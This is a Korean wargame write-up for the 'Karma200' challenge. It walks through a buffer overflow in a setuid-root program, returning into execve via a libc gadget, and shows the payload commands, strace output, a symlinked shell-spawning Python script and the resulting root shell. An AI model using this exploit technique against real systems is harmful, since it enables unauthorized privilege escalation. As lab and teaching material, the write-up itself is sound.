Category : system hacking
Summary : buffer overflow , mov %eax,%esp; call execve;
* karma 서버에 대한 설명은 Karma100에 작성했습니다.
문제서버에 접속하여 문제파일을 확인한다.
[karma200@localhost ~]$ ls -l
total 12
-rwsr-sr-x. 1 root root 4895 Jan 17 10:01 attackme
-rw-r--r--. 1 root root 311 Jan 17 10:01 attackme.c |
프로그램과 source file이 주어졌다.
[karma200@localhost ~]$ cat attackme.c
/*
* Enjoy!
*
*
*
* */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc,char **argv)
{
char buf[4];
if(argc != 2)
{
printf("%s argv!!!\n",argv[0]);
exit(1);
}
strncpy(buf,argv[1],(char *)&argc - buf);
} |
소스는 매우 간결하며 , buffer overflow 문제임을 노골적으로 알려준다 :)
소스에서는 strncpy로 선언된 지역변수보다 긴 값을 덮어버리기 때문에 buffer overflow 취약점이 발생한다.
하지만 &argc - buf만큼이기때문에 , return address 영역까지밖에 덮을 수 없다 :(
게다가 서버의 환경제약이 많기 때문에 다소 어려움이 있지만 메모리상에 있는 재밌는 코드들 덕분에 나름 쉽게 해결할 수 있다.
execl , execv , execvp 등등 exec계열 함수나 system 함수는 내부에서 최종적으로 execve함수를 실행하여 프로그램을 실행한다.
그런데 fedora 는 fedora 4 이상부터 ebp가 아닌 esp를 이용하여 인자를 참조하거나 스택에 넣게된다.
이런 점들로 인해 위에 명시했던 실행 함수들내에는 ~~
0x001be7bd <+333>: mov %eax,(%esp)
0x001be7c0 <+336>: call 0x1be370 <execve> |
위와 같은 코드가 모두 존재한다.
위의 코드는 eax에 있는 값을 esp가 가르키는 곳으로 옮기고 , execve함수를 호출한다.
함수내에서는 함수호출전에 esp가 가르켰던곳부터 인자를 참조하기때문에 , eax에 있던값이 execve함수의 첫번째 인자가 되게된다.
하지만 eax를 어떻게 조작할지 의문이었지만 strcpy함수 덕분에 가능하다.
strcpy함수가 돌려주는 값은 data가 덮인 곳의 address이기 때문에 , return address에 execl+333을 덮어준다면 argv[1]로 넘겨준 data가 execve의 첫번째 인자로 들어가게된다 :)
strace를 이용해 테스트해본다.
[karma200@localhost ~]$ strace ./attackme `python -c 'print "a"*16 + "\xbd\xe7\x1b"'`
execve("./attackme", ["./attackme", "aaaaaaaaaaaaaaaa\275\347\33"], [/* 24 vars */]) = 0
brk(0) = 0x90be000
fcntl64(0, F_GETFD) = 0
fcntl64(1, F_GETFD) = 0
fcntl64(2, F_GETFD) = 0
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7854000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=47068, ...}) = 0
mmap2(NULL, 47068, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7848000
close(3) = 0
open("/lib/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220\217\23\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1847224, ...}) = 0
mmap2(0x122000, 1612328, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x122000
mprotect(0x2a5000, 4096, PROT_NONE) = 0
mmap2(0x2a6000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x183) = 0x2a6000
mmap2(0x2a9000, 10792, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x2a9000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7847000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78476c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x2a6000, 8192, PROT_READ) = 0
mprotect(0x11e000, 4096, PROT_READ) = 0
munmap(0xb7848000, 47068) = 0
execve("aaaa\237\343\33", ["./attackme", "aaaaaaaaaaaaaaaa\275\347\33"], [/* 24 vars */]) = -1 ENOENT (No such file or directory)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++
Segmentation fault |
예상했던대로 argv[1]에 넘겨준 데이터가 execve함수의 첫번째 인자로 사용되었다.
이제 쉘을 실행하는 python script를 작성해 symbol link 를 걸어 쉘을 획득할 수 있다.
[karma200@localhost .pwn3r]$ cat pwn.py
#!/usr/bin/python
import os
os.setreuid(os.geteuid() , os.geteuid())
os.execl("/bin/sh" , "sh")
[karma200@localhost .pwn3r]$ ln -s ./pwn.py `python -c 'print "aaaa\237\343\33"'`
[karma200@localhost .pwn3r]$ ~/attackme `python -c 'print "a"*16 + "\xbd\xe7\x1b"'`
sh-4.1# id
uid=0(root) gid=501(karma200) groups=0(root),501(karma200) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 |
root 권한의 쉘을 획득하였다.